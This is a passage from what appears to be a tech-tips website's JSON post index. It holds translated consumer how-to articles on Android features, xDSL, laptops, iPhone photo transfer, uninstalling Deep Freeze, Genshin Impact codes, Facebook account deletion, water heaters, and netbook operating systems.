importance level for application notifications and changing the clock that displays seconds next to hours and minutes.\nWhat is your favorite \"hidden\" Android feature setting? Let us know in the comment section below!\nRefer to some more articles:\nTop 10 smartphone secret features you will want to use immediately 8 super hidden features on the phone or you may not know Summary of secret codes to activate hidden features on mobile phones Having fun!\nncG1vNJzZmismaXArq3KnmWcp51khm6z0Z6YrWWYnrGlsc1mnZ6ZpKq%2Fpr%2BMqKVmmZ6Zv7C1w2awqK1doq66ec2erZ6qXaC7sMM%3D\n","link":"/post/9-great-hidden-features-on-android-you-may-never-know/","section":"post","tags":null,"title":"9 great hidden features on Android you may never know"},{"body":"The dial-up dial-up connection has become too slow, with a theoretical speed of 56 kps but the reality is much lower. Currently, with ADSL technology, Net shops grow like mushrooms to serve the needs of information . especially the communication and entertainment needs of young people.\nMoreover, Internet service providers (ISPs) offer low-cost ADSL service packages that cater to different needs of people.So, what is ADSL?Is ADSL a branch in xDSL technology?\n Alexander Graham Bell invented the phone in 1875, from which the phone has become an indispensable item in human life. The ongoing development of the telephone network has prompted aspiring telecom developers to make phone lines not only for voice communication but also for transmission of many other services. to serve the growing needs of people like TV, videoconferencing, Internet access . . In the past, the telephone line could only transmit 1 3.4 kHz voice channel. Thanks to the application of digital processing technologies, loss compensation, noise reduction, etc., xDSL technology can transmit 100 digital voice channels or 1 high-quality video channel on a telephone line. DSL ( digital subscriber line ) is a technology that uses complex modulation methods, transforming data into packets for transmission on telephone lines.\nThe DSL digital modem in another way will transmit data between the two end points of the copper cable line.The signal will not go through the telephone switching system, and therefore does not interfere with the voice signal.In fact, the voice band on copper cable is only 0 - 4 kHz, while DSL technology often uses frequencies above 100 kHz.\nThe big advantage of xDSL technology when it was born was the ability to transmit many different applications that had not been implemented before and take advantage of the available and widespread telephone network.A new technology is considered to be effective when taking advantage of available resources and infrastructure.\nxDSL is classified as follows:\nISDN - Integrated Services Digital Network (Multi-service integrated network)\nISDN is considered the opening of xDSL.ISDN was born in 1976 with the ambition to unify data and voice communication.In ISDN, the basic communication speed (BRI-Basic Rate Interface) provides two channels of 64kbps (channel B) for voice or data and a channel of 16kbps (channel D) for control signaling information.The disadvantage of technology is that it only transmits voice services and low-speed packet switching.It is not suitable for high-speed packet switching and long-term occupation.This is the characteristic of the Internet today.Therefore, ISDN is not widely applied but only for families or small businesses.However, for ISDN users in the US (home of ISDN), it is hard to forget the benefits that ISDN offers when ISDN is the introduction technology for all types of integrated services.IDSL - ISDN digital subscriber line - is an xDSL technology based on ISDN, guaranteed 144Kbps speed on both B and D channels.\n\nHDSL - high-bit-rate digital subscriber line\nHDSL was born in the laboratory in 1986. Essentially, HSDL transceiver devices are the inheritance of ISDN but at a more complex level.HDSL is based on the US / European T1 / E1 standard.HDSL1 allows 1.544Mbps or 2.048Mbps transmission on 2 or 3 pairs of wires.HDSL2 was later released to allow 1 pair of wires to transmit symmetrical 1,544Mbps.HDSL2 was born with many ideas of ADSL.The advantage of HDSL is that this type of technology does not need repeater stations, ie a lower attenuation than other types on the transmission line.Therefore HDSL can transmit further and still ensure signal quality.HDSL is preferred due to the noise diagnosis characteristics (measuring SNR) and less crosstalk.HDSL is used by local operators (telephone companies) or provides high-speed lines between multiple buildings or workplaces together.\nVDSL - very high-bit-rate digital subscriber line\nVDSL is an xDSL technology that provides symmetrical transmission lines on a pair of copper wires.VDSL's download bit stream is the highest of all xDSL technologies, reaching 52Mbps, the upload line can reach 2.3 Mbps.VDSL usually only works well in short circuit networks.VDSL uses fiber optic cable to transmit mainly, and only uses copper cable at the end.\nADSL - Asymmetrical DSL\nADSL is a branch of xDSL technology.ADSL provides an asymmetric bandwidth on a pair of wires.The asymmetric term here refers to the imbalance in the download and upload streams.The download data stream has a greater bandwidth than the upload data bandwidth.ADSL was born in 1989 in the laboratory.ADSL1 provides 1.5 Mbps for download data and 16 kbps for uplink data, supports MPEG-1 standards.ADSL2 can provide bandwidth up to 3 Mbps for downlink and 16 kbps for uplink, supports 2 MPEG-1 streams.ADSL 3 can provide 6 Mbps for downlink and at least 64 kbps for uplink, supports MPEG-2 standard.The ADSL service that we often use today can theoretically provide 8 Mbps for downlink and 2 Mbps for uplink, but for many reasons from ISPs, the quality of service using ADSL at our terminals often do not reach the original advertising.\nRADSL (rate-adaptive digital subscriber line)\nRADSL is a version of ADSL in which modems can check the connection at startup and respond at the fastest speed that the line can provide.RADSL is also known as ADSL with variable speed.\nncG1vNJzZmismaXArq3KnmWcp51krqO71K1ksZyjoXq1scKhpaikn5zG\n","link":"/post/about-xdsl-technology/","section":"post","tags":null,"title":"About xDSL technology"},{"body":"The six Acer Aspire Timeline series started the era of \"ADC\" (All day computing) computers around the world.\nAcer Aspire Timeline is equipped with Intel Ultra low - voltage (ULV) power saving microprocessor plus power management technology (Power management, high - capacity batteries) and LED screen should be created Slim, light, high performance, as well as battery life up to 8 hours of operation.\n  High battery life with Acer PowerSmart power saving technology!\nWhile most of the other laptops use large batteries to have a long shelf life that causes the body to be bulged, Acer combines the majority of power-saving components (components) with standard 6 batteries. The cell keeps the design as compact as possible.\nThe combination of power management system with PowerSmart button right on the keyboard helps users to easily switch the device to power saving mode when used. Acer's charging mode also automatically adjusts performance when the laptop stops charging, stops transferring data using low power, or also stops transferring power from the source to your computer. when the battery is full.\n  Depending on weight and screen resolution from 14 to 15 inches Aspire Timeline weighs from 1.9 to 2.4kg with full ports and DVD-rewrite drive. All of these designs are less than 1 inch thin with aluminum alloy casing, providing maximum screen protection. It is also a very flexible and easy material for recycling. Acer also used Intel's Laminar Wall Jet technology for the first time to help the Aspire Timeline not get hot during use.\nWith 6 Acer Aspire Timeline models AS4810TZ-412G25Mn, AS4810TZ-413G32Mn, AS4810TZ-412G32Mn, AS4810T-732G32Mn, AS4810T-734G32Mn, AS4810TG-944G32Mn, customers can choose Intel Pentium, Intel Core Solo or Intel Core 2 processors Low voltage Duo with 2GB or 4GB RAM. The backlit CineCrystal LED display (16: 9 ratio) saves 33% of electricity compared to other traditional laptop monitors. With Gigabit Ethernet or Wi-Fi 802.11b / g Draft-N, users can easily browse the web, check e-mail, make VOIP conversations and entertain online or join other community entertainment networks like Facebook, Twitter or Youtube.\n  Acer Crystal Eye webcam displays smooth images of high quality when chatting online or conducting online conversations at work, even in low-light environments. The microphone of the device is also filtered to reduce noise during conversation, especially when users enjoy complete audio, video with the Dolby Headphones system and two listening and speaking speakers right on the body.\nMulti-Gesture Touchpad supports web opening, page turning, photo viewing, music playback . with only two fingers. If you don't like it, you can turn it off with just a press of a key on the keyboard to comfortably type in the text.\nncG1vNJzZmismaXArq3KnmWcp51krqSx0WaYrKiZp7JuwMimnKWhnpp6sLzEp6pmrJiaeqa%2BwGamn2WRmbBur86mp66slafA\n","link":"/post/acer-aspire-timeline-opens-the-era-of-adc-computers/","section":"post","tags":null,"title":"Acer Aspire Timeline opens the era of ADC computers"},{"body":"TipsMake.com - In the process of using Apple TV, surely you will feel unsatisfied with the remote - remote control device available, because it is too small and has many limitations. Instead, we can use the Remote Assistance utility from Apple and supported devices, such as iPad, iPhone, or iPod Touch.\n To install, please visit here from mobile device. Then, start the Remote application and press the Turn on Home Sharing button on the main console:\n  Enter the Apple ID and Password parameters of the account you are using, then click the Done button:\n  Next, the system will display a message prompting you to configure, set up Apple TV with the newly activated Home Sharing feature:\n  On the Apple TV , select the main menu\u0026gt; Computers\u0026gt; Turn on Home Sharing :\n  And when we have set up the Home Sharing feature on the iPad and Apple TV , we will then switch to the Remote application. After starting the application, you will see the screen as below, click on the corresponding icon of Apple TV:\n  Click Use Gestures to Control Apple TV or the small icon at the bottom right of the screen:\n  Remote control mechanism - Remote will be set up, press Menu at the bottom to open Apple TV, then use the corresponding gestures from your finger on the iPad to open the corresponding menus or control Apple TV:\n  One of the most convenient features of Remote is to use the iPad keyboard when needed. For example, if you want to access your Netflix account, it will be much easier than using the built-in controller or the Apple TV keyboard onscreen :\n  Due to the larger screen area, using Remote on iPad will be much easier and simpler than the iPhone or iPad Touch:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLC606umpWWRpb2tsYytrWaqlaK8tbHLsmSwoaSdeqq8wJ1koqiYpLumec6rZKKon5l6tbvUnJ8%3D\n","link":"/post/control-apple-tv-remotely-with-ipad-iphone-or-ipod-touch/","section":"post","tags":null,"title":"Control Apple TV remotely with iPad, iPhone or iPod Touch"},{"body":"1. Keep your account safe with Password Checker On Android, you can save passwords to your Google account, making signing in to your apps and services faster and easier with Autofill. Your credentials are one of the first line of defense against intruders, so Google has integrated Password Checking into devices running Android 9 and up. This feature tells you if the password you are using has been revealed before and what to do with it.\n  Now when you enter a password into an app on your phone using Autofill, Google checks those credentials against a list of known passwords that have been compromised - that is, The password was likely stolen and posted on the web. If your login information shows up on one of these lists, Google will notify and guide you to check your password and change it.\n2. Use the sending calendar in Messages to write text now and send it later More than half a billion people around the world use Messages to connect seamlessly and securely with family, friends, and others every month. To continue to improve the way you communicate and help you stay in touch, Google started rolling out Scheduled Messages for phones running Android 7 and up.\n Having loved ones in a different time zone or schedule can sometimes make it difficult to send messages at the right time. With the scheduled sending feature, you can compose messages in advance and schedule them to be sent at the right time. Just compose your message as you normally would, then hold and press the send button to choose the date and time of your message. Download the Messages app or update to the latest version to schedule your next text.\n3. No need to look at the screen with TalkBack For those who are blind or have difficulty seeing their screens, the TalkBack screen reader for Android has been updated to a new version. Using gesture and voice feedback, TalkBack makes Android more accessible and unlocks the full phone experience without looking at the screen.\n Google has worked closely with the blind and visually impaired community in this TalkBack enhancement to incorporate the most commonly requested features including: more intuitive gestures, merge menus, control menus New reading and more.\n4. Get more hands-free done with the Google Assistant Wishing to give the user more ways to use the phone in hands-free mode - do things like use voice to make calls, set timers or alarms, and play music. Now, the latest updates for Google Assistant make getting things done on your phone easier without being right around you.\n  Now, the Google Assistant works better even when your phone is locked or in a room with a new card that can be read in a flash. Just say 'Hey Google, set the alarm' or 'Hello Google, play pop music on Spotify.' To get the most out of Google Assistant when your phone is locked, simply turn on Personal results on the lock screen in Google Assistant settings and say 'Hey Google' to send text messages and make calls.\n5. Google Maps is adding a dark mode The added dark mode in Google Maps will soon be updated for all Android users around the globe, helping users to reduce eye strain when using maps as well as save battery power.\n 6. Android Auto improved With custom backgrounds, you can now choose from a variety of car-inspired wallpapers to personalize your car display. For longer rides, you and your passengers can be entertained with voice-activated games.\n  Google has integrated shortcuts on the launch screen, provides convenient access to contacts, and even lets you use the Google Assistant to complete tasks like check the weather or make remote adjustments. thermostat.\nFor cars with larger screens, you can get more done with the split screen with Google Maps view and real-time vehicle controls. And if you have family and friends with you, you can now set a private screen to control when Android Auto appears on your car screen.\nThe aforementioned new Android Auto features will be available for smartphones running Android 6.0 and above and compatible car systems.\nHow do you comment on new features on Android?\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpmeo7y2usKem2ZuXaOyuHnFnpitraKawG67zWaYp5yipLalec%2BrmJysmZiurXnAp5tmraOas7a4\n","link":"/post/google-announced-6-new-features-on-android-practical-and-useful/","section":"post","tags":null,"title":"Google announced 6 new features on Android, practical and useful"},{"body":"Suppose if your iPhone's memory capacity is full and you want to transfer pictures from iPhone to Windows computer . If you are an expert in iOS devices, you can easily do it. But if it is a new user, unfamiliar with the features of iOS, it is indeed very difficult.\nIn addition Apple does not allow users to transfer data directly from iPhone phones to Windows computers and even Macs. So how to transfer photos from iPhone to Windows computer, readers can refer to the article. Below of Network Administration.\n1. How to download and install iTunes? In order for your Windows computer to receive iPhone and iPad on File Explorer, you need to install iTunes.\n1. Open any browser on your Windows 10 computer.\n2. Navigate to the page: www.apple.com/itunes/download.\n  3. Click the Download button.\n4. Click the Save button, and will begin the process of downloading iTunes.\n  5. After the download process is complete, click Run and the iTunes installer will appear on the screen.\n6. Click Next .\n  7. Click Install.\n8. Click Finish.\n  \n2. Windows Explorer No matter what version of Windows you are using, to transfer images from your iPhone to a Windows computer you can use Windows Explorer. Using File Explorer to transfer photos from iPhone, iPad to Windows 10 computer doesn't take too long. After installing iTunes, follow the steps below.\nTo transfer images from your iPhone device to a Windows computer using Windows Explorer, follow the steps below:\n- First connect your iPhone phone to Windows computer. Now on the iPhone phone screen you will see a message asking: 'Do you want to allow this device to access photos and videos on the iPhone ?'. Very simply you just need to click Allow .\n  - Open Windows Explorer by double-clicking on This PC icon on your computer, or click on the Explorer icon on the Taskbar .\nOr you can press Windows + E key combination to open Windows Explorer. On the Windows Explorer window you navigate to This PC.\n- Now you will see the iPhone phone displayed on the computer.\n  Your task is to open the Apple iPhone folder, then navigate to the DCIM folder . This folder contains all photos and videos stored on iPhone devices. Quite simply, you can copy and paste the images you want to transfer to a Windows computer.\n3. Use the Windows Photo application The easiest way to transfer photos from iPhone to computer is by using the built-in Photo app on Windows. The application allows users to easily transfer images from iPhone phones to Windows computers. To do this, follow the steps below:\n- First connect your iPhone phone to Windows computer . Now on the iPhone phone screen you will see a message asking: 'Do you want to allow this device to access photos and videos on the iPhone ?'. Very simply you just need to click Allow.\n  - Next on Windows computer, you open Photos app. Here click the Import icon in the top right corner of the application window.\n  - Select the image you want to enter . You can select each image one by one or you can select all images. Then click Continue .\n  And all the images you selected will be transferred to the Windows computer.\n  4. iCloud Photos iPhone integrates a great feature called \" iCloud Photo Library \", which automatically syncs all photos on your iPhone to iCloud account.\nIf you have not activated iCloud Photo Library, simply go to Settings =\u0026gt; Photos and Camera . Here you change the status of iCloud Photo Library option to ON . And your images will be uploaded to iCloud account.\nTo transfer images to a Windows computer, follow the steps below:\n- First open your Windows computer, then open any browser and access iCloud. Log in with Apple ID and select Photos (photos).\n  - Here, you will see all your images on the web browser. Your task is to select Select photos (select images) and select the images you want to export to the computer (hold Ctrl to select multiple photos).\n  - Next, click Download to download the image to your computer.\n  5. Google Photos\nIf using Google Photos on an iPhone phone, you can easily transfer images from your device to your Windows computer. To use Google Photos to transfer photos to a Windows computer, follow the steps below:\n- First on your computer, visit the Google Photos web app page. Here you can choose the image you want to download.\n  - Click on the 3 dots icon in the top right corner, then click Download .\n  6. Google Drive or Dropbox In addition, you can choose to use cloud storage services to transfer images from iPhone phones to Windows computers. To use Google Drive or Dropbox to transfer images to a Windows computer, follow the steps below:\nFirst download the Google Drive app or Dropbox application to your iPhone phone. Then upload the image to the cloud service.\nDownload Google Drive to your iPhone and install it here. Download Dropbox to your iPhone and install it here. Next on the computer, you open Google Drive or Dropbox then log in your account. And you will see all the images you upload. Just select any image you want to download, then click the 3 dots icon in the top right corner, select Download .\n  After you have downloaded the image to your computer, you can delete the images on your iPhone device to free up memory space.\nRefer to some of the following articles: This is a way to transfer images from Android to a computer without a USB cable No software needed, this is the fastest way to transfer images between iOS and Mac devices No need to use software, here are 3 ways to get images from Word files fastest Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyilru0ssSrZKmgn6m8tHnFq6amZZmltbC6xGagqZmUYsGwedaipZ2np6h6cnyMnKamqKWpsrM%3D\n","link":"/post/how-to-transfer-photos-from-iphone-ipad-to-windows-10-computer/","section":"post","tags":null,"title":"How to transfer photos from iPhone, iPad to Windows 10 computer?"},{"body":" This wikiHow teaches you how to uninstall Deep Freeze from a Windows or Mac computer. In order to uninstall Deep Freeze, you'll first have to disable Deep Freeze by entering your password and setting it to thaw on boot. If you no longer...\nMethod 1of 2:\nOn Windows  Find the Deep Freeze icon. You'll usually find this polar bear face-shaped icon in the lower-right corner of your computer's screen, though you may first have to click ^ here to view a list of currently running services.\n  Open Deep Freeze. While holding down the ⇧ Shift key, double-click the Deep Freeze icon. The login window will open. You can also just right-click the Deep Freeze icon.   Enter your password. Type in your Deep Freeze password and click Log in. If you don't know your password, you'll have to back up your computer's data, erase the hard drive, and then reinstall Windows.   Click the Boot Control tab. It's in the upper-left corner of the window.\n  Check the \"Boot Thawed\" box. This box is in the middle of the window. Doing so will ensure that when you restart your computer, Deep Freeze will be disabled.\n  Click Apply and Reboot. It's in the bottom-right corner of the Deep Freeze window. Your computer will begin to restart. You may have to click OK and then Yes when prompted before your computer will begin restarting. Restarting your computer from this menu will take several minutes, so just leave the computer alone and allow it to restart.   Wait for about half an hour. Once your computer restarts, it will run incredibly slowly, and some features (e.g., the Start menu) will not load for several minutes. To allow your system to finish loading, give your computer around half an hour to finish starting.\n  Find the installation file. You'll need to look for the EXE file that you used to install Deep Freeze. There is no uninstall file for Deep Freeze; instead, you will need to run the file that installed the program to begin with. If you no longer have the installation file, you can download it again from the Deep Freeze website. The file for Deep Freeze 5 is typically DF5Std.exe The file for Deep Freeze 6 is typically DF6Std.exe   Run the installation file. Double-click the installation file, click Uninstall in the window which opens, and follow any on-screen instructions. Eventually, your computer will reboot, and Deep Freeze will be completely removed.[1] Removing Deep Freeze also removes any Deep Freeze-associated files.  Method 2of 2:\nOn Mac  Open Deep Freeze. Find the Deep Freeze icon, which resembles a polar bear's face, and click it. A drop-down menu will appear.[2] You can also press Ctrl+⌥ Option+⇧ Shift+F6 to open Deep Freeze.   Click Login. It's in the drop-down menu. Doing so will bring up the password text field.\n  Enter your Deep Freeze password. Type in the password that you use to log into Deep Freeze, then press ⏎ Return. If you don't know your password, you'll have to back up your computer's data, erase the hard drive, and then reinstall macOS.   Click the Boot Control tab. It's in the upper-left corner of the Deep Freeze window.\n  Check the \"Boot Thawed\" box. You'll find this box in the middle of the window. Doing so will ensure that Deep Freeze will be disabled when you restart your Mac.\n  Click Apply. It's in the bottom-right corner of the window.\n  Restart your Mac. Click the Apple menu  , click Restart..., and click Restart Now when prompted. Your Mac will begin to restart.   Wait for about half an hour. Once your computer restarts, it will run incredibly slowly, and some features will not load for several minutes. To allow your system to finish loading, give your computer around half an hour to finish starting.\n  Open and unlock Deep Freeze again. Click the Deep Freeze icon, click Login, and enter your password.\n  Click the Uninstall tab. It's in the upper-right corner of the window.\n  Check the \"Delete Existing Thawspace(s)\" box if available. You'll find this option in the middle of the Uninstall page.\n  Click Uninstall. It's near the bottom of the Deep Freeze window.\n  Follow any on-screen prompts. Your Mac will eventually restart, at which point Deep Freeze will be removed.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2enru0wMClo2aclZq9brLRnpyznQ%3D%3D\n","link":"/post/how-to-uninstall-deep-freeze/","section":"post","tags":null,"title":"How to Uninstall Deep Freeze"},{"body":"The full list of active Genshin Impact gift codes below will help players receive many useful items, helping to overcome the challenges in the game. In addition, detailed instructions on how to enter the code will help players who have never done this operation.\nAbout Genshin Impact Redeem Code Center From time to time, game developers will give their gaming community different rewards in the form of gift codes. These codes can be used by all players to redeem their respective rewards on the Redemption Center.\nThe latest Genshin Impact update brings a lot of new events and costumes to players around the world. So, if people have not experienced the hit game during this time, this is probably the perfect time. To encourage gamers, miHoYo is offering some new redemption codes for everyone.\n  If you've never used a redemption code before, learn what you need to know about Genshin Impact's Redeem Code page. This is how people can get rewards from valid gift codes.\nGenshin Impact has only a single redemption page, monitored by miHoYo, third-party websites with other domains are fake. Players should stay away from all suspicious websites because they have the ability to steal everyone's personal information and Genshin Impact accounts.\nList of Genshin Impact codes Like many other games, Genshin Impact redemption codes also have an expiration date, so players need to enter the code quickly to avoid the code being invalidated. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure that the gifts are sent to the in-game mailbox.\n Code Reward  ZSPDKSC3V8V5\u0026nbsp; Get 60 Primers and 5 Adventure Experience  VTPU3CQWYCSD Get 100 primeval stones into 10 crystallized magic minerals  AB7VIJC9EGDAZ Get 100 Primers and 5 Hero Experience  WT7D3CQEHVBM Get 100 Primal Stones and 50000 Mora   FANRONGCHANGSENG\n Get 18000 Mora, 8 Adventure Experience and 10 Mined Mineral Salary  9BPCJCQGHAWZ Get 60 Primers and 5 Adventure Experience  GENSHINGIFT\u0026nbsp; Get 50 primeval stones and 3 hero experience  5SPDKV8ZHBFV\u0026nbsp; Get 100 Primal Stones and 50000 Mora  PSNVJURZZSD9\u0026nbsp; Get 100 Primers and 5 Hero Experience  SA7V2DRZGAU5 Get 100 Primordial Stones and 10 Precast Magic Minerals  ETNU2DN5NZRR\u0026nbsp; Get 60 primeval stones and 4 EXP experience   How to enter the Genshin Impact redemption code Before going ahead and claiming a reward, players should know about a few things:\nRequirements to use the code To receive rewards from Genshin Impact gift codes, players must meet the following requirements:\nAdventure Rank reached 10 Haven't used the codes before   Bonus Code Rules Please check the following rules before preparing to use the code:\nBefore redeeming the code, log in to your account, make sure you have created your game character, and link your miHoYo account in the User Center. Otherwise, the code redemption will not be able to proceed.\nAfter redeeming the code, the player will receive the redeemed item via in-game mail. Everyone should pay attention to the redemption conditions and the expiry date of the redemption code. Expired codes cannot be redeemed.\nEach redemption code can only be used once. After redeeming the code, the player cannot revoke the code so make sure to log in to the correct account before redeeming.\nIf you encounter any problems during the code redemption process, please contact Customer Service.\nSteps to enter code in Genshin Impact If the above conditions are met, the player should follow the steps below to receive the reward:\nStep 1: Visit Genshin Impact's Redeem Code website. Other games may have their own redemption website. However, Genshin Impact incorporated it into the official game website for easy access. Players just need to visit the official website of Genshin Impact.\nStep 2: Select the server you are playing, enter your character's nickname and the redemption code.\nStep 3: Click Redeem and the reward will be sent within 24 hours.\n  Genshin Impact ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWadnqmys7XNoGStoJViuaLAxKyrZp%2BVo8Cptc1moKaokZjBbq%2FOnZysZZGjsW6vzp2crA%3D%3D\n","link":"/post/instructions-for-entering-the-latest-genshin-impact-codes-and-codes/","section":"post","tags":null,"title":"Instructions for entering the latest Genshin Impact codes and codes"},{"body":"In many unfortunate or proactive cases, you want your facebook account to be permanently deleted and completely evaporated from this social network. Usually it is possible that your old account is constantly being hacked or you no longer want to use it and move into a new home.\nLeaving an old account can expose your friend to the wrong address and you will not receive information from your friend. Or assume a little bit more that you want to give up on facebook to focus more on work when you are addicted to it. In this article I will guide you how to delete your Facebook account permanently in just once and it will completely disappear without leaving a trace.\n  Facebook is a social network that allows users to connect, share and communicate with each other more easily. With a simple feature and anyone can use it with their own separate account. With just a few taps, you can connect with all your friends are present on this social network. Users can easily share status lines, photos on the timeline and chat with their friends.\nHowever, in recent times Facebook has become something that can be addictive for its users. Ordinary Facebook users may not be very concerned about security, but this is a sensitive issue that this social security has not guaranteed for users. Many issues related to user information have caused many unwanted things in the past, so many people have come to their solution to block or lock their accounts.\nHow do I permanently delete my Facebook account when I can't find this option in my account settings? By default, Facebook only provides users with a temporary Facebook lock solution within 2 weeks to begin completely deleting.\nTemporarily lock your Facebook account \u0026nbsp; - Click the account dropdown menu\n- Select Account Settings\n  - Select Security from the menu on the left - Click on the line Deactive your account (Lock your account ).\n  After you click Lock account, Facebook will give many reasons to keep your footer while providing additional information for you to complete. This includes pages, applications that you manage to add new Admin before they are no longer managed by you. After that, all the information, timeline, photos, status, . no one can see them anymore. And you will be removed from the search results of Facebook.\nEven so, Facebook retains a copy of your account information on the room server in case you will come back. Therefore, if you decide to permanently delete your Facebook account, back up the necessary information on your computer and follow the instructions below.\nHow to permanently delete Facebook account? \u0026nbsp; If you have deactivated (temporarily locked your account), after 2 weeks of no longer accessing it, it will be completely deleted. In addition, you can decide to delete once permanently, then perform the last one below to have your account deleted immediately and always.\n- Access the link: https://www.facebook.com/help/delete_account - Click ' Delete my account ' as the image below.\n  Immediately your account will be permanently deleted from the service of Facebook.\nWarning: Accounts that have been permanently deleted will not be reactivated, so you need to consider carefully before making a decision to 'slash' your facebook account.\nWithin 1-2 weeks you can still save the deleted Facebook account permanently. By logging in again.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnDnqOerJVirm6ywJycm6efoHqir8KorKesXaWys7nAp5ynrJyu\n","link":"/post/instructions-on-how-to-delete-a-facebook-account-permanently/","section":"post","tags":null,"title":"Instructions on how to delete a Facebook account permanently"},{"body":"Direct water heater is also known as direct hot water heater with the advantages of compact design, space saving installation, fast heating time so it is trusted. However, many people still wonder whether using the direct water heater is safe. Join us to learn more about this direct water heater line.\nWhat is direct water heater? Direct water heaters don't usually have water tanks, shower heads available. The mechanism of the direct hot water heater is heating with a resistor bar and the water will be brought to the faucet immediately to help users to bathe immediately without waiting.\n  Direct water heaters are suitable for use in areas with temperatures above 20 degrees C. Demand for occasional use and low number of users.\nIs the direct heating tank safe? Consumers are often afraid of not knowing whether the direct water heater has just boiled and bathed or not. However, people do not worry because this is a special product produced for use in wet environment, so they are very rigorous testing to be offered for sale in the market.\nIn addition, the direct water heater is also equipped with many other safety features such as:\nDirect heater has a thermal sensor feature. When the water temperature exceeds 50 degrees Celsius, the heater will automatically disconnect the power, so there is no fear of burns.\n  The resistive rod is surrounded by a very good insulating layer, which is highly resistant to abrasion.\nAll direct water heaters are equipped with ELCB anti-jerk or anti-shock circuit breaker. This function detects rapid electrical leakage of only about 0.05 seconds, then disconnects the circuit and the heater so it ensures absolute safety.\nWith the above safety features, the direct heater is extremely safe so you don't have to worry about any problems anymore.\nInstructions for using the water heater directly ensure the safest Although the direct water heater has been equipped with safety features. However, you need to pay attention to some of the following issues to use the direct heater to ensure the safest.\nUsers should regularly check the heater directly by electric tester to prevent electric leakage. The water heater has been equipped with an anti-shock system but still needs to install a protective circuit and contact wires to avoid the unwanted incident. You need to install a direct heater that is higher than the reach of children to avoid burns. When you see that the water is dirty, you need to clean the container so that the shower is not blocked. Hopefully, the above article will help you feel secure when using the direct water heater and know how to use the hot water tank properly to ensure absolute safety.\nIf you want to learn more about the direct water heater product line, please contact us immediately at: Hotline: 024 35.68.69.69 - 028.38.33.33.66 for free advice.\nncG1vNJzZmismaXArq3KnmWcp51ktrR5yK1krJmWmnq1u4yuqp5lkWKxqr7EnKtmr5GpsrN5x56YrZ2i\n","link":"/post/is-it-safe-to-use-a-direct-water-heater/","section":"post","tags":null,"title":"Is it safe to use a direct water heater?"},{"body":"Today's compact netbook has gradually gained a foothold in the market. However, users are often confused when choosing netbooks using Windows XP or Windows 7 Starter.\nWindows XP has the advantage of being around for a long time, so it is quite familiar to users although it seems that with the release of Windows Vista or Windows 7 XP will gradually be forgotten but it is still a good choice. for netbooks and other applications.\nCurrently, users can choose a Windows 7 Starter version that is considered \" free \" from Microsoft, essentially a low-end version lowered from Windows 7 Home Premium. The Starter version has a streamlined design specifically for netbooks and mini laptops.\n  If you're hesitant about choosing XP or 7 Starter for netbooks, some of the suggestions below will help you choose the best operating system:\nOverview of Windows XP\nIf using the full version without any programs, XP takes about 250MB of RAM, while this figure on Windows 7 Home Premium is 1200MB. If hardware is a concern, XP is a good choice because it is compatible with almost all current hardware.\nIn terms of stability, there is no denying the advantage of Windows XP. This proves that after nearly a decade with many service packs, patches as well as upgraded versions. Therefore, XP works very well for netbooks if you are concerned about system stability.\nIn terms of support, over the past 10 years, many updated versions of XP have been provided by Microsoft and are available on its website. If the system has a problem, just go to Google and type in the error content, immediately thousands of links that return instructions on how to fix errors are something you can expect a lot from this operating system. , even free technical support. This number for Windows 7 Starter is not much because it is only a new operating system, few people run it, so the number of error-solving knowledge collected is not much.\nNetbook with Windows XP\nWhen using a netbook running Windows XP, which means you accept to use a 10-year-old operating system, and taking into account the average life of a netbook, you will receive another 3 years, ie Windows XP will be older. Life is 13. That will be a good practice because you are too familiar with this operating system.\n  The drawback when you choose Windows XP is that it will not receive much support in the future, even if it is planned to stop support from Microsoft, hardware manufacturers have begun to gradually shift. to Windows 7.\nNext is XP without 64-bit choice. Although the 64-bit version of Windows XP also appears, it is currently not used for a netbook of any manufacturer. This means you will not be able to take advantage of the 3.2GB of RAM on 64-bit systems.\nWindows 7 Starter\nThis is the operating system version shortened from the Home Premium edition. At the very least, you can expect the popularity of this Starter edition because it is now pretty much used in a desktop or portable system.\nStarter has a fairly streamlined arrangement for netbook users by removing everything that is not needed for maximum streamlining.\nAnytime Upgrade Available is a special feature in Starter that allows users to decide to upgrade to a more advanced edition such as Home Premium on their netbook system with an upgrade cost of about 80 USD.\nNetbook running Windows 7 Starter\nThe drawback is that because it is streamlined, Starter has quite a few features but most importantly, the ability to run multiple applications at the same time. Although users can still use a 3rd party software to run multiple programs at the same time, this consumes a lot of memory and processor. A Starter version only allows running up to 3 programs at a time.\n  In addition, Starter will not have the preferred Aero Glass or Peek effect in Vista / 7. Therefore, how good a netbook is, but only using Starter edition, it is like a Windows XP system.\nA special feature is that the Starter is only preinstalled on the netbook. If you are running Windows XP, you cannot convert to Windows 7 Starter even if you can pay usage fees.\nConclude\nAlthough only a shortened version, Starter is still an option for those who need a netbook system that doesn't change the configuration. However, XP is a good choice if you want to use a fully functional operating system version and get free support from the Internet community.\nncG1vNJzZmismaXArq3KnmWcp51kwKa4xJyrZqaVqa%2Bwu8pmqa6mnp67qHnXqWSoql2stq%2BwzrCqZm9dqMGivtOeqQ%3D%3D\n","link":"/post/select-netbook-running-xp-or-windows-7-starter/","section":"post","tags":null,"title":"Select netbook running XP or Windows 7 Starter"},{"body":"Recovery partition (recovery partition) is a separate partition on the hard drive on your computer or SSD and used to restore or reinstall the operating system in case the system fails.\nHowever, starting Windows 10, users can reinstall or reset the system without resorting to the help of Recovery partition, so Windows 10 users can delete Recovery partition to free drive space. plate.\n1. What is Recovery partition? Recovery partition (recovery partition) is a separate partition on the hard drive on your computer or SSD and used to restore or reinstall the operating system in case the system fails.\nRecovery partition is extremely useful in case if you want to restore Windows 10 or in case you want to reset factory Windows 10 settings.\nHowever, starting Windows 10, users can reinstall or reset the system without resorting to the help of Recovery partition, so Windows 10 users can delete Recovery partition to free drive space. plate.\nWindows 10 allows you to create a USB recovery drive and use this USB Recovery drive to restore the computer in case of need.\nRemoving a Recovery partition is not too difficult, here are some ways you can apply to delete 